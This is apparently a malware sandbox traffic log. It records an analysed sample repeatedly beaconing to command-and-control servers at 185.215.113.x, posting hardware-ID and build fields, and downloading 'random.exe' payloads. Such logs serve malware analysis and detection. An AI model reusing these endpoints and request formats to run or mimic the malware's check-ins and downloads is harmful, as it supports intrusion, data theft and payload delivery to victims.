Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKKFHIEGDHJKECAAKKEBHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 39 31 43 33 38 32 42 37 34 35 31 33 38 38 39 34 31 30 35 33 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 42 2d 2d 0d 0a Data Ascii: ------BKKFHIEGDHJKECAAKKEBContent-Disposition: form-data; name="hwid"4991C382B7451388941053------BKKFHIEGDHJKECAAKKEBContent-Disposition: form-data; name="build"doma------BKKFHIEGDHJKECAAKKEB--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.103If-Modified-Since: Thu, 03 Oct 2024 00:47:23 GMTIf-None-Match: "e0600-62387e5d41dcd"
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 33 33 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000332001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.103If-Modified-Since: Thu, 03 Oct 2024 00:54:55 GMTIf-None-Match: "1bca00-6238800be9105"
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKEHDGDGHCBGCAKFIIIEHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 39 31 43 33 38 32 42 37 34 35 31 33 38 38 39 34 31 30 35 33 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 45 2d 2d 0d 0a Data Ascii: ------BKEHDGDGHCBGCAKFIIIEContent-Disposition: form-data; name="hwid"4991C382B7451388941053------BKEHDGDGHCBGCAKFIIIEContent-Disposition: form-data; name="build"doma------BKEHDGDGHCBGCAKFIIIE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 33 33 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000333001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 33 33 34 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000334031&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGCFIIEBKEGHJJJJJJDAHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 4a 4a 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 39 31 43 33 38 32 42 37 34 35 31 33 38 38 39 34 31 30 35 33 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 4a 4a 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 4a 4a 4a 4a 44 41 2d 2d 0d 0a Data Ascii: ------CGCFIIEBKEGHJJJJJJDAContent-Disposition: form-data; name="hwid"4991C382B7451388941053------CGCFIIEBKEGHJJJJJJDAContent-Disposition: form-data; name="build"doma------CGCFIIEBKEGHJJJJJJDA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
